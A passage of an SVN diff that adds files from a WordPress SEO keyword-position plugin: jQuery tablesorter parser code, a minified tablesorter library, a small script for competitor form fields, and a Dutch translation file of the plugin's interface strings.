+			return $.tableSorter.utils.formatFloat(s.replace(new RegExp(/[^0-9.]/g),''));
+		},
+		sorter: $.tableSorter.sorters.numeric
+	};
+	$.tableSorter.parsers.integer = {
+		id: 'integer',
+		is: function(s) {
+			return s.match(new RegExp(/^\d+$/));
+		},
+		format: function(s) {
+			return $.tableSorter.utils.formatFloat(s);
+		},
+		sorter: $.tableSorter.sorters.numeric
+	};
+	$.tableSorter.parsers.floating = {
+		id: 'floating',
+		is: function(s) {
+			return s.match(new RegExp(/^(\+|-)?[0-9]+\.[0-9]+((E|e)(\+|-)?[0-9]+)?$/));
+		},
+		format: function(s) {
+			return $.tableSorter.utils.formatFloat(s.replace(new RegExp(/,/),''));
+		},
+		sorter: $.tableSorter.sorters.numeric
+	};
+	$.tableSorter.parsers.ipAddress = {
+		id: 'ipAddress',
+		is: function(s) {
+			return s.match(/^\d{2,3}[\.]\d{2,3}[\.]\d{2,3}[\.]\d{2,3}$/);
+		},
+		format: function(s) {
+			var a = s.split('.');
+			var r = '';
+			for (var i = 0, item; item = a[i]; i++) {
+			   if(item.length == 2) {
+					r += '0' + item;
+			   } else {
+					r += item;
+			   }
+			}
+			return $.tableSorter.utils.formatFloat(r);
+		},
+		sorter: $.tableSorter.sorters.numeric
+	};
+	$.tableSorter.parsers.url = {
+		id: 'url',
+		is: function(s) {
+			return s.match(new RegExp(/(https?|ftp|file):\/\//));
+		},
+		format: function(s) {
+			return jQuery.trim(s.replace(new RegExp(/(https?|ftp|file):\/\//),''));
+		},
+		sorter: $.tableSorter.sorters.generic
+	};
+	$.tableSorter.parsers.isoDate = {
+		id: 'isoDate',
+		is: function(s) {
+			return s.match(new RegExp(/^\d{4}[\/-]\d{1,2}[\/-]\d{1,2}$/));
+		},
+		format: function(s) {
+			return parseFloat((s != "") ? new Date(s.replace(new RegExp(/-/g),'/')).getTime() : "0");
+		},
+		sorter: $.tableSorter.sorters.numeric
+	};
+	$.tableSorter.parsers.usLongDate = {
+		id: 'usLongDate',
+		is: function(s) {
+			return s.match(new RegExp(/^[A-Za-z]{3,10}\.? [0-9]{1,2}, ([0-9]{4}|'?[0-9]{2}) (([0-2]?[0-9]:[0-5][0-9])|([0-1]?[0-9]:[0-5][0-9]\s(AM|PM)))$/));
+		},
+		format: function(s) {
+			return $.tableSorter.utils.formatFloat((new Date(s)).getTime());
+		},
+		sorter: $.tableSorter.sorters.numeric
+	};
+	$.tableSorter.parsers.shortDate = {
+		id: 'shortDate',
+		is: function(s) {
+			return s.match(new RegExp(/\d{1,2}[\/-]\d{1,2}[\/-]\d{2,4}/));
+		},
+		format: function(s,defaults) {
+			s = s.replace(new RegExp(/-/g),'/');
+			if(defaults.dateFormat == "mm/dd/yyyy" || defaults.dateFormat == "mm-dd-yyyy") {
+				/** reformat the string in ISO format */
+				s = s.replace(new RegExp(/(\d{1,2})[\/-](\d{1,2})[\/-](\d{4})/), '$3/$1/$2');
+			} else if(defaults.dateFormat == "dd/mm/yyyy" || defaults.dateFormat == "dd-mm-yyyy") {
+				/** reformat the string in ISO format */
+				s = s.replace(new RegExp(/(\d{1,2})[\/-](\d{1,2})[\/-](\d{4})/), '$3/$2/$1');
+			} else if(defaults.dateFormat == "dd/mm/yy" || defaults.dateFormat == "dd-mm-yy") {
+				s = s.replace(new RegExp(/(\d{1,2})[\/-](\d{1,2})[\/-](\d{2})/), '$1/$2/$3');	
+			}
+			return $.tableSorter.utils.formatFloat((new Date(s)).getTime());
+		},
+		sorter: $.tableSorter.sorters.numeric
+	};
+	$.tableSorter.parsers.time = {
+	    id: 'time',
+	    is: function(s) {
+	        return s.toUpperCase().match(new RegExp(/^(([0-2]?[0-9]:[0-5][0-9])|([0-1]?[0-9]:[0-5][0-9]\s(AM|PM)))$/));
+	    },
+	    format: function(s) {
+	        return $.tableSorter.utils.formatFloat((new Date("2000/01/01 " + s)).getTime());
+	    },
+	    sorter: $.tableSorter.sorters.numeric
+	};
+	/** add parsers */
+	$.tableSorter.analyzer.add($.tableSorter.parsers.currency);
+	$.tableSorter.analyzer.add($.tableSorter.parsers.integer);
+	$.tableSorter.analyzer.add($.tableSorter.parsers.isoDate);
+	$.tableSorter.analyzer.add($.tableSorter.parsers.shortDate);
+	$.tableSorter.analyzer.add($.tableSorter.parsers.usLongDate);
+	$.tableSorter.analyzer.add($.tableSorter.parsers.ipAddress);
+	$.tableSorter.analyzer.add($.tableSorter.parsers.url);
+	$.tableSorter.analyzer.add($.tableSorter.parsers.time);
+	$.tableSorter.analyzer.add($.tableSorter.parsers.floating);
+
+})(jQuery);
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/wordpress-google-seo-positioner/js/jquery.tablesorter.min.js
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/wordpress-google-seo-positioner/js/jquery.tablesorter.min.js	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/wordpress-google-seo-positioner/js/jquery.tablesorter.min.js	(revision 44)
@@ -0,0 +1,2 @@
+
+(function($){$.extend({tablesorter:new function(){var parsers=[],widgets=[];this.defaults={cssHeader:"header",cssAsc:"headerSortUp",cssDesc:"headerSortDown",sortInitialOrder:"asc",sortMultiSortKey:"shiftKey",sortForce:null,sortAppend:null,textExtraction:"simple",parsers:{},widgets:[],widgetZebra:{css:["even","odd"]},headers:{},widthFixed:false,cancelSelection:true,sortList:[],headerList:[],dateFormat:"us",decimal:'.',debug:false};function benchmark(s,d){log(s+","+(new Date().getTime()-d.getTime())+"ms");}this.benchmark=benchmark;function log(s){if(typeof console!="undefined"&&typeof console.debug!="undefined"){console.log(s);}else{alert(s);}}function buildParserCache(table,$headers){if(table.config.debug){var parsersDebug="";}var rows=table.tBodies[0].rows;if(table.tBodies[0].rows[0]){var list=[],cells=rows[0].cells,l=cells.length;for(var i=0;i<l;i++){var p=false;if($.metadata&&($($headers[i]).metadata()&&$($headers[i]).metadata().sorter)){p=getParserById($($headers[i]).metadata().sorter);}else if((table.config.headers[i]&&table.config.headers[i].sorter)){p=getParserById(table.config.headers[i].sorter);}if(!p){p=detectParserForColumn(table,cells[i]);}if(table.config.debug){parsersDebug+="column:"+i+" parser:"+p.id+"\n";}list.push(p);}}if(table.config.debug){log(parsersDebug);}return list;};function detectParserForColumn(table,node){var l=parsers.length;for(var i=1;i<l;i++){if(parsers[i].is($.trim(getElementText(table.config,node)),table,node)){return parsers[i];}}return parsers[0];}function getParserById(name){var l=parsers.length;for(var i=0;i<l;i++){if(parsers[i].id.toLowerCase()==name.toLowerCase()){return parsers[i];}}return false;}function buildCache(table){if(table.config.debug){var cacheTime=new Date();}var totalRows=(table.tBodies[0]&&table.tBodies[0].rows.length)||0,totalCells=(table.tBodies[0].rows[0]&&table.tBodies[0].rows[0].cells.length)||0,parsers=table.config.parsers,cache={row:[],normalized:[]};for(var i=0;i<totalRows;++i){var c=table.tBodies[0].rows[i],cols=[];cache.row.push($(c));for(var j=0;j<totalCells;++j){cols.push(parsers[j].format(getElementText(table.config,c.cells[j]),table,c.cells[j]));}cols.push(i);cache.normalized.push(cols);cols=null;};if(table.config.debug){benchmark("Building cache for "+totalRows+" rows:",cacheTime);}return cache;};function getElementText(config,node){if(!node)return"";var t="";if(config.textExtraction=="simple"){if(node.childNodes[0]&&node.childNodes[0].hasChildNodes()){t=node.childNodes[0].innerHTML;}else{t=node.innerHTML;}}else{if(typeof(config.textExtraction)=="function"){t=config.textExtraction(node);}else{t=$(node).text();}}return t;}function appendToTable(table,cache){if(table.config.debug){var appendTime=new Date()}var c=cache,r=c.row,n=c.normalized,totalRows=n.length,checkCell=(n[0].length-1),tableBody=$(table.tBodies[0]),rows=[];for(var i=0;i<totalRows;i++){rows.push(r[n[i][checkCell]]);if(!table.config.appender){var o=r[n[i][checkCell]];var l=o.length;for(var j=0;j<l;j++){tableBody[0].appendChild(o[j]);}}}if(table.config.appender){table.config.appender(table,rows);}rows=null;if(table.config.debug){benchmark("Rebuilt table:",appendTime);}applyWidget(table);setTimeout(function(){$(table).trigger("sortEnd");},0);};function buildHeaders(table){if(table.config.debug){var time=new Date();}var meta=($.metadata)?true:false,tableHeadersRows=[];for(var i=0;i<table.tHead.rows.length;i++){tableHeadersRows[i]=0;};$tableHeaders=$("thead th",table);$tableHeaders.each(function(index){this.count=0;this.column=index;this.order=formatSortingOrder(table.config.sortInitialOrder);if(checkHeaderMetadata(this)||checkHeaderOptions(table,index))this.sortDisabled=true;if(!this.sortDisabled){$(this).addClass(table.config.cssHeader);}table.config.headerList[index]=this;});if(table.config.debug){benchmark("Built headers:",time);log($tableHeaders);}return $tableHeaders;};function checkCellColSpan(table,rows,row){var arr=[],r=table.tHead.rows,c=r[row].cells;for(var i=0;i<c.length;i++){var cell=c[i];if(cell.colSpan>1){arr=arr.concat(checkCellColSpan(table,headerArr,row++));}else{if(table.tHead.length==1||(cell.rowSpan>1||!r[row+1])){arr.push(cell);}}}return arr;};function checkHeaderMetadata(cell){if(($.metadata)&&($(cell).metadata().sorter===false)){return true;};return false;}function checkHeaderOptions(table,i){if((table.config.headers[i])&&(table.config.headers[i].sorter===false)){return true;};return false;}function applyWidget(table){var c=table.config.widgets;var l=c.length;for(var i=0;i<l;i++){getWidgetById(c[i]).format(table);}}function getWidgetById(name){var l=widgets.length;for(var i=0;i<l;i++){if(widgets[i].id.toLowerCase()==name.toLowerCase()){return widgets[i];}}};function formatSortingOrder(v){if(typeof(v)!="Number"){i=(v.toLowerCase()=="desc")?1:0;}else{i=(v==(0||1))?v:0;}return i;}function isValueInArray(v,a){var l=a.length;for(var i=0;i<l;i++){if(a[i][0]==v){return true;}}return false;}function setHeadersCss(table,$headers,list,css){$headers.removeClass(css[0]).removeClass(css[1]);var h=[];$headers.each(function(offset){if(!this.sortDisabled){h[this.column]=$(this);}});var l=list.length;for(var i=0;i<l;i++){h[list[i][0]].addClass(css[list[i][1]]);}}function fixColumnWidth(table,$headers){var c=table.config;if(c.widthFixed){var colgroup=$('<colgroup>');$("tr:first td",table.tBodies[0]).each(function(){colgroup.append($('<col>').css('width',$(this).width()));});$(table).prepend(colgroup);};}function updateHeaderSortCount(table,sortList){var c=table.config,l=sortList.length;for(var i=0;i<l;i++){var s=sortList[i],o=c.headerList[s[0]];o.count=s[1];o.count++;}}function multisort(table,sortList,cache){if(table.config.debug){var sortTime=new Date();}var dynamicExp="var sortWrapper = function(a,b) {",l=sortList.length;for(var i=0;i<l;i++){var c=sortList[i][0];var order=sortList[i][1];var s=(getCachedSortType(table.config.parsers,c)=="text")?((order==0)?"sortText":"sortTextDesc"):((order==0)?"sortNumeric":"sortNumericDesc");var e="e"+i;dynamicExp+="var "+e+" = "+s+"(a["+c+"],b["+c+"]); ";dynamicExp+="if("+e+") { return "+e+"; } ";dynamicExp+="else { ";}var orgOrderCol=cache.normalized[0].length-1;dynamicExp+="return a["+orgOrderCol+"]-b["+orgOrderCol+"];";for(var i=0;i<l;i++){dynamicExp+="}; ";}dynamicExp+="return 0; ";dynamicExp+="}; ";eval(dynamicExp);cache.normalized.sort(sortWrapper);if(table.config.debug){benchmark("Sorting on "+sortList.toString()+" and dir "+order+" time:",sortTime);}return cache;};function sortText(a,b){return((a<b)?-1:((a>b)?1:0));};function sortTextDesc(a,b){return((b<a)?-1:((b>a)?1:0));};function sortNumeric(a,b){return a-b;};function sortNumericDesc(a,b){return b-a;};function getCachedSortType(parsers,i){return parsers[i].type;};this.construct=function(settings){return this.each(function(){if(!this.tHead||!this.tBodies)return;var $this,$document,$headers,cache,config,shiftDown=0,sortOrder;this.config={};config=$.extend(this.config,$.tablesorter.defaults,settings);$this=$(this);$headers=buildHeaders(this);this.config.parsers=buildParserCache(this,$headers);cache=buildCache(this);var sortCSS=[config.cssDesc,config.cssAsc];fixColumnWidth(this);$headers.click(function(e){$this.trigger("sortStart");var totalRows=($this[0].tBodies[0]&&$this[0].tBodies[0].rows.length)||0;if(!this.sortDisabled&&totalRows>0){var $cell=$(this);var i=this.column;this.order=this.count++%2;if(!e[config.sortMultiSortKey]){config.sortList=[];if(config.sortForce!=null){var a=config.sortForce;for(var j=0;j<a.length;j++){if(a[j][0]!=i){config.sortList.push(a[j]);}}}config.sortList.push([i,this.order]);}else{if(isValueInArray(i,config.sortList)){for(var j=0;j<config.sortList.length;j++){var s=config.sortList[j],o=config.headerList[s[0]];if(s[0]==i){o.count=s[1];o.count++;s[1]=o.count%2;}}}else{config.sortList.push([i,this.order]);}};setTimeout(function(){setHeadersCss($this[0],$headers,config.sortList,sortCSS);appendToTable($this[0],multisort($this[0],config.sortList,cache));},1);return false;}}).mousedown(function(){if(config.cancelSelection){this.onselectstart=function(){return false};return false;}});$this.bind("update",function(){this.config.parsers=buildParserCache(this,$headers);cache=buildCache(this);}).bind("sorton",function(e,list){$(this).trigger("sortStart");config.sortList=list;var sortList=config.sortList;updateHeaderSortCount(this,sortList);setHeadersCss(this,$headers,sortList,sortCSS);appendToTable(this,multisort(this,sortList,cache));}).bind("appendCache",function(){appendToTable(this,cache);}).bind("applyWidgetId",function(e,id){getWidgetById(id).format(this);}).bind("applyWidgets",function(){applyWidget(this);});if($.metadata&&($(this).metadata()&&$(this).metadata().sortlist)){config.sortList=$(this).metadata().sortlist;}if(config.sortList.length>0){$this.trigger("sorton",[config.sortList]);}applyWidget(this);});};this.addParser=function(parser){var l=parsers.length,a=true;for(var i=0;i<l;i++){if(parsers[i].id.toLowerCase()==parser.id.toLowerCase()){a=false;}}if(a){parsers.push(parser);};};this.addWidget=function(widget){widgets.push(widget);};this.formatFloat=function(s){var i=parseFloat(s);return(isNaN(i))?0:i;};this.formatInt=function(s){var i=parseInt(s);return(isNaN(i))?0:i;};this.isDigit=function(s,config){var DECIMAL='\\'+config.decimal;var exp='/(^[+]?0('+DECIMAL+'0+)?$)|(^([-+]?[1-9][0-9]*)$)|(^([-+]?((0?|[1-9][0-9]*)'+DECIMAL+'(0*[1-9][0-9]*)))$)|(^[-+]?[1-9]+[0-9]*'+DECIMAL+'0+$)/';return RegExp(exp).test($.trim(s));};this.clearTableBody=function(table){if($.browser.msie){function empty(){while(this.firstChild)this.removeChild(this.firstChild);}empty.apply(table.tBodies[0]);}else{table.tBodies[0].innerHTML="";}};}});$.fn.extend({tablesorter:$.tablesorter.construct});var ts=$.tablesorter;ts.addParser({id:"text",is:function(s){return true;},format:function(s){return $.trim(s.toLowerCase());},type:"text"});ts.addParser({id:"digit",is:function(s,table){var c=table.config;return $.tablesorter.isDigit(s,c);},format:function(s){return $.tablesorter.formatFloat(s);},type:"numeric"});ts.addParser({id:"currency",is:function(s){return/^[Â£$â¬?.]/.test(s);},format:function(s){return $.tablesorter.formatFloat(s.replace(new RegExp(/[^0-9.]/g),""));},type:"numeric"});ts.addParser({id:"ipAddress",is:function(s){return/^\d{2,3}[\.]\d{2,3}[\.]\d{2,3}[\.]\d{2,3}$/.test(s);},format:function(s){var a=s.split("."),r="",l=a.length;for(var i=0;i<l;i++){var item=a[i];if(item.length==2){r+="0"+item;}else{r+=item;}}return $.tablesorter.formatFloat(r);},type:"numeric"});ts.addParser({id:"url",is:function(s){return/^(https?|ftp|file):\/\/$/.test(s);},format:function(s){return jQuery.trim(s.replace(new RegExp(/(https?|ftp|file):\/\//),''));},type:"text"});ts.addParser({id:"isoDate",is:function(s){return/^\d{4}[\/-]\d{1,2}[\/-]\d{1,2}$/.test(s);},format:function(s){return $.tablesorter.formatFloat((s!="")?new Date(s.replace(new RegExp(/-/g),"/")).getTime():"0");},type:"numeric"});ts.addParser({id:"percent",is:function(s){return/\%$/.test($.trim(s));},format:function(s){return $.tablesorter.formatFloat(s.replace(new RegExp(/%/g),""));},type:"numeric"});ts.addParser({id:"usLongDate",is:function(s){return s.match(new RegExp(/^[A-Za-z]{3,10}\.? [0-9]{1,2}, ([0-9]{4}|'?[0-9]{2}) (([0-2]?[0-9]:[0-5][0-9])|([0-1]?[0-9]:[0-5][0-9]\s(AM|PM)))$/));},format:function(s){return $.tablesorter.formatFloat(new Date(s).getTime());},type:"numeric"});ts.addParser({id:"shortDate",is:function(s){return/\d{1,2}[\/\-]\d{1,2}[\/\-]\d{2,4}/.test(s);},format:function(s,table){var c=table.config;s=s.replace(/\-/g,"/");if(c.dateFormat=="us"){s=s.replace(/(\d{1,2})[\/\-](\d{1,2})[\/\-](\d{4})/,"$3/$1/$2");}else if(c.dateFormat=="uk"){s=s.replace(/(\d{1,2})[\/\-](\d{1,2})[\/\-](\d{4})/,"$3/$2/$1");}else if(c.dateFormat=="dd/mm/yy"||c.dateFormat=="dd-mm-yy"){s=s.replace(/(\d{1,2})[\/\-](\d{1,2})[\/\-](\d{2})/,"$1/$2/$3");}return $.tablesorter.formatFloat(new Date(s).getTime());},type:"numeric"});ts.addParser({id:"time",is:function(s){return/^(([0-2]?[0-9]:[0-5][0-9])|([0-1]?[0-9]:[0-5][0-9]\s(am|pm)))$/.test(s);},format:function(s){return $.tablesorter.formatFloat(new Date("2000/01/01 "+s).getTime());},type:"numeric"});ts.addParser({id:"metadata",is:function(s){return false;},format:function(s,table,cell){var c=table.config,p=(!c.parserMetadataName)?'sortValue':c.parserMetadataName;return $(cell).metadata()[p];},type:"numeric"});ts.addWidget({id:"zebra",format:function(table){if(table.config.debug){var time=new Date();}$("tr:visible",table.tBodies[0]).filter(':even').removeClass(table.config.widgetZebra.css[1]).addClass(table.config.widgetZebra.css[0]).end().filter(':odd').removeClass(table.config.widgetZebra.css[0]).addClass(table.config.widgetZebra.css[1]);if(table.config.debug){$.tablesorter.benchmark("Applying Zebra widget",time);}}});})(jQuery);
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/wordpress-google-seo-positioner/js/script.js
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/wordpress-google-seo-positioner/js/script.js	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/wordpress-google-seo-positioner/js/script.js	(revision 44)
@@ -0,0 +1,45 @@
+function addNewCompetitorField(){
+	if ( document.getElementById('competitor-list') ) {
+		var $field_holder = document.getElementById('competitor-list');
+		var $template_field = $field_holder.getElementsByTagName('tr')[0].cloneNode(true);
+
+		//reset the values
+		for(var $i = 0; $i < $template_field.getElementsByTagName('input').length; $i++){
+			$template_field.getElementsByTagName('input')[$i].value = '';
+		}
+
+		$remove_link = document.createElement('a');
+		$remove_link.setAttribute('href','Javascript:void(0);');
+		$remove_link.appendChild(document.createTextNode('Remove This Field'));		
+				
+		$remove_span = document.createElement('span');
+		$remove_span.appendChild($remove_link);
+		$template_field.appendChild($remove_span);
+
+		var $new_field_link = document.getElementById('new_field_link');
+		var $controls = document.getElementById('wizzard_controls');
+		
+		$field_holder.appendChild( $template_field );
+		$field_holder.appendChild( $new_field_link );
+		
+		//add it after adding to the document to make sure the event works
+		$remove_link.onclick = function(){ this.parentNode.parentNode.parentNode.removeChild(this.parentNode.parentNode); };
+	}
+}
+function addNewCompetitorField2() {
+	$("table#competitor-list tr:first")
+		.clone()
+		.appendTo("table#competitor-list tbody");
+	
+	$("table#competitor-list tr:last td input").val('');
+	
+	$('<span><a href="javascript:void(0);" class="remove-link"><img src="http://test.quero.lcl/KimPress/wp-content/plugins/positioner/images/remove.png" alt="Remove" align="absbottom" /></a></span>').insertAfter("table#competitor-list tr:last td input").click();
+	//$("a").append("table#competitor-list tr:last td input");
+	
+	$("table#competitor-list tr:last td span a").click(function() {
+		$("table#competitor-list tr:last").remove();
+	});
+	/*$("table#competitor-list tr:last").click(function() {
+		$(this).remove();
+	});*/	
+}
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/wordpress-google-seo-positioner/languages/position_yourself-nl_NL.po
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/wordpress-google-seo-positioner/languages/position_yourself-nl_NL.po	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/wordpress-google-seo-positioner/languages/position_yourself-nl_NL.po	(revision 44)
@@ -0,0 +1,335 @@
+msgid ""
+msgstr ""
+"Project-Id-Version: Position Yourself\n"
+"Report-Msgid-Bugs-To: \n"
+"POT-Creation-Date: 2008-05-26 18:19+0100\n"
+"PO-Revision-Date: 2008-05-26 18:25+0100\n"
+"Last-Translator: Kim KENNOF <kim.kennof@queromedia.com>\n"
+"Language-Team: QueroMedia SEO <kim.kennof@queromedia.com>\n"
+"MIME-Version: 1.0\n"
+"Content-Type: text/plain; charset=UTF-8\n"
+"Content-Transfer-Encoding: 8bit\n"
+"X-Poedit-Language: Dutch\n"
+"X-Poedit-Country: BELGIUM\n"
+"X-Poedit-SourceCharset: utf-8\n"
+"X-Poedit-Basepath: .\n"
+"X-Poedit-KeywordsList: _e;__\n"
+"X-Poedit-SearchPath-0: ..\n"
+
+#: ../position_yourself.php:104
+#: ../position_yourself.php:105
+msgid "Position Yourself"
+msgstr "Position Yourself"
+
+#: ../position_yourself.php:112
+#: ../position_yourself.php:113
+msgid "Manage keywords"
+msgstr "Beheer zoekwoorden"
+
+#: ../position_yourself.php:119
+#: ../position_yourself.php:120
+msgid "Manage options"
+msgstr "Beheer opties"
+
+#: ../position_yourself.php:126
+#: ../position_yourself.php:127
+msgid "Track positions"
+msgstr "Posities volgen"
+
+#: ../position_yourself.php:142
+msgid "Positioner"
+msgstr "Positioner"
+
+#: ../position_yourself.php:143
+#: ../position_yourself.php:385
+msgid "Your keywords"
+msgstr "Uw zoekwoorden"
+
+#: ../position_yourself.php:212
+#: ../position_yourself.php:301
+#: ../position_yourself.php:437
+msgid "You have not yet added any keywords."
+msgstr "U hebt nog geen zoekwoorden toegevoegd."
+
+#: ../position_yourself.php:247
+#, php-format
+msgid "Your keywords have been successfully positioned! <a href=\"%s\">Click here for the detailed report.</a>"
+msgstr "Uw zoekwoorden werden succesvol gepositioneerd. <a href=\"%s\">Klik hier voor het gedetailleerde rapport.</a>"
+
+#: ../position_yourself.php:251
+msgid "Your keywords could not be positioned. Please try again."
+msgstr " Uw zoekwoorden konden niet gepositioneerd worden. Gelieve opnieuw te proberen."
+
+#: ../position_yourself.php:262
+#, php-format
+msgid "You can get the position of your website for your keywords by pressing <a href=\"%s\">Position me</a>. Afterwards you can view your detailed report under the <a href=\"%s\">Track positions</a> page."
+msgstr "U kan de positie van uw website voor uw opgegeven zoekwoorden vinden door op <a href=\"%s\">Positioneer mij</a> te drukken. Achteraf kan u het gedetailleerde rapport via de <a href=\"%s\">Posities volgen</a> pagina bekijken."
+
+#: ../position_yourself.php:263
+#: ../position_yourself.php:296
+#, php-format
+msgid "<a href=\"%s\" class=\"button\">Position me</a>"
+msgstr "<a href=\"%s\" class=\"button\">Positioneer mij</a>"
+
+#: ../position_yourself.php:268
+#: ../position_yourself.php:410
+#: ../position_yourself.php:728
+msgid "Keyword"
+msgstr "Zoekwoord"
+
+#: ../position_yourself.php:269
+msgid "Last position"
+msgstr "Laatste positie"
+
+#: ../position_yourself.php:306
+#: ../position_yourself.php:387
+#: ../position_yourself.php:441
+#, php-format
+msgid "<a href=\"%s\" class=\"button\">Modify keywords</a>"
+msgstr "<a href=\"%s\" class=\"button\">Zoekwoorden wijzigen</a>"
+
+#: ../position_yourself.php:320
+msgid "Manage your keywords"
+msgstr "Beheer uw zoekwoorden"
+
+#: ../position_yourself.php:337
+msgid "Save keywords &raquo;"
+msgstr "Zoekwoorden opslaan &raquo;"
+
+#: ../position_yourself.php:339
+msgid "Keywords added."
+msgstr "Zoekwoorden toegevoegd."
+
+#: ../position_yourself.php:340
+msgid "Keywords deleted."
+msgstr "Zoekwoorden verwijderd."
+
+#: ../position_yourself.php:341
+msgid "Keywords updated."
+msgstr "Zoekwoorden gewijzigd."
+
+#: ../position_yourself.php:342
+msgid "Keywords not added."
+msgstr "Zoekwoorden niet toegevoegd."
+
+#: ../position_yourself.php:343
+msgid "Keywords not updated."
+msgstr "Zoekwoorden niet gewijzigd."
+
+#: ../position_yourself.php:362
+msgid "Add your keywords"
+msgstr "Voeg uw zoekwoorden toe"
+
+#: ../position_yourself.php:363
+msgid "Enter the keywords you want to track. Use a new line for each keyword."
+msgstr "Vul hier uw zoekwoorden in. Gebruik een nieuwe regel voor elk nieuw zoekwoord."
+
+#: ../position_yourself.php:372
+msgid "Keywords"
+msgstr "Zoekwoorden"
+
+#: ../position_yourself.php:386
+#, php-format
+msgid "On this page you can <a href=\"%s\">modify</a> you keywords you want to track."
+msgstr "Hier kan u uw zoekwoorden die u wenst te volgen <a href=\"%s\">wijzigen</a>."
+
+#: ../position_yourself.php:456
+msgid "Manage Positioner Options"
+msgstr "Beheer Positioner Opties"
+
+#: ../position_yourself.php:493
+msgid "Save options &raquo;"
+msgstr "Opties opslaan &raquo;"
+
+#: ../position_yourself.php:495
+msgid "Options added."
+msgstr "Opties gewijzigd."
+
+#: ../position_yourself.php:496
+msgid "Options deleted."
+msgstr "Opties verwijderd."
+
+#: ../position_yourself.php:497
+msgid "Options updated."
+msgstr "Opties gewijzigd."
+
+#: ../position_yourself.php:498
+msgid "Options not added."
+msgstr "Opties niet toegevoegd."
+
+#: ../position_yourself.php:499
+msgid "Options not updated."
+msgstr "Opties niet gewijzigd."
+
+#: ../position_yourself.php:507
+#: ../position_yourself.php:604
+msgid "Google options"
+msgstr "Google opties"
+
+#: ../position_yourself.php:510
+#: ../position_yourself.php:607
+#: ../position_yourself.php:777
+msgid "Region"
+msgstr "Regio"
+
+#: ../position_yourself.php:514
+#: ../position_yourself.php:611
+#: ../position_yourself.php:778
+msgid "Language"
+msgstr "Taal"
+
+#: ../position_yourself.php:517
+msgid "Dutch"
+msgstr "Nederlands"
+
+#: ../position_yourself.php:518
+msgid "French"
+msgstr "Frans"
+
+#: ../position_yourself.php:519
+msgid "English"
+msgstr "Engels"
+
+#: ../position_yourself.php:520
+msgid "German"
+msgstr "Duits"
+
+#: ../position_yourself.php:521
+msgid "Italian"
+msgstr "Italiaans"
+
+#: ../position_yourself.php:522
+msgid "Spanish"
+msgstr "Spaans"
+
+#: ../position_yourself.php:527
+#: ../position_yourself.php:615
+msgid "Meta"
+msgstr "Meta"
+
+#: ../position_yourself.php:531
+#: ../position_yourself.php:619
+msgid "PageRank"
+msgstr "PageRank"
+
+#: ../position_yourself.php:534
+msgid "No"
+msgstr "Nee"
+
+#: ../position_yourself.php:535
+msgid "Yes"
+msgstr "Ja"
+
+#: ../position_yourself.php:537
+msgid "<strong>Notice:</strong> Enabling PageRank will take longer."
+msgstr "<strong>Opgelet:</strong> Het inschakelen van PageRank kan de verwerkingstijd vergroten!"
+
+#: ../position_yourself.php:541
+#: ../position_yourself.php:623
+#: ../position_yourself.php:779
+msgid "Number of results"
+msgstr "Aantal resultaten"
+
+#: ../position_yourself.php:558
+#: ../position_yourself.php:627
+msgid "Competitors"
+msgstr "Concurrenten"
+
+#: ../position_yourself.php:559
+msgid "<strong>Notice:</strong> To remove a competitor from the list, just leave the field empty and save the options."
+msgstr "<strong>Opgelet:</strong> Om een concurrent te verwijderen laat u gewoon dit veld leeg, waarna u uw opties bewaart."
+
+#: ../position_yourself.php:560
+msgid "Add competitor"
+msgstr "Voeg concurrent toe"
+
+#: ../position_yourself.php:579
+#: ../position_yourself.php:588
+msgid "Competitor"
+msgstr "Concurrent"
+
+#: ../position_yourself.php:602
+#: ../position_yourself.php:658
+#, php-format
+msgid "<a href=\"%s\" class=\"button\">Modify options</a>"
+msgstr "<a href=\"%s\" class=\"button\">Opties wijzigen</a>"
+
+#: ../position_yourself.php:646
+#, php-format
+msgid "Competitor %s:"
+msgstr "Concurrent %s:"
+
+#: ../position_yourself.php:655
+msgid "You haven't added any competitors to track."
+msgstr "U hebt nog geen concurrenten toegevoegd."
+
+#: ../position_yourself.php:673
+msgid "Keyword tracking"
+msgstr "Zoekwoord opvolging"
+
+#: ../position_yourself.php:674
+msgid "Keep track of your keywords"
+msgstr "Volg je zoekwoorden op"
+
+#: ../position_yourself.php:693
+#, php-format
+msgid "Positioning found <span class=\"big\">%d</span> matches."
+msgstr "Positionering heeft <span class=\"big\">%d</span> resultaten gevonden."
+
+#: ../position_yourself.php:699
+msgid "Started"
+msgstr "Gestart"
+
+#: ../position_yourself.php:703
+msgid "Ended"
+msgstr "Geeindigd"
+
+#: ../position_yourself.php:707
+msgid "Google Region"
+msgstr "Google Regio"
+
+#: ../position_yourself.php:711
+msgid "Google Language"
+msgstr "Google Taal"
+
+#: ../position_yourself.php:715
+msgid "Google Options"
+msgstr "Google Opties"
+
+#: ../position_yourself.php:719
+msgid "Google Number of results"
+msgstr "Google Aantal resultaten"
+
+#: ../position_yourself.php:729
+msgid "Position"
+msgstr "Positie"
+
+#: ../position_yourself.php:730
+msgid "Result page"
+msgstr "Resultaatpagina"
+
+#: ../position_yourself.php:775
+msgid "ID"
+msgstr "ID"
+
+#: ../position_yourself.php:776
+msgid "Date-Time"
+msgstr "Datum-Tijd"
+
+#: ../position_yourself.php:780
+msgid "Matches"
+msgstr "Overeenkomsten"
+
+#: ../position_yourself.php:823
+msgid "Get more information about this job."
+msgstr "Bekijk de details van deze job."
+
+#: ../position_yourself.php:841
+msgid "No jobs have already ran."
+msgstr "U hebt nog geen positionerings-jobs uitgevoerd."
+
+#~ msgid "You have not yet added any keywords!"
+#~ msgstr "U hebt nog geen zoekwoorden toegevoegd."
+#~ msgid "You haven't added any keywords yet!"
+#~ msgstr "U hebt nog geen zoektermen toegevoegd!"
+
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/wordpress-google-seo-positioner/languages/wordpress-google-seo-positioner.pot
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/wordpress-google-seo-positioner/languages/wordpress-google-seo-positioner.pot	(revision 44)
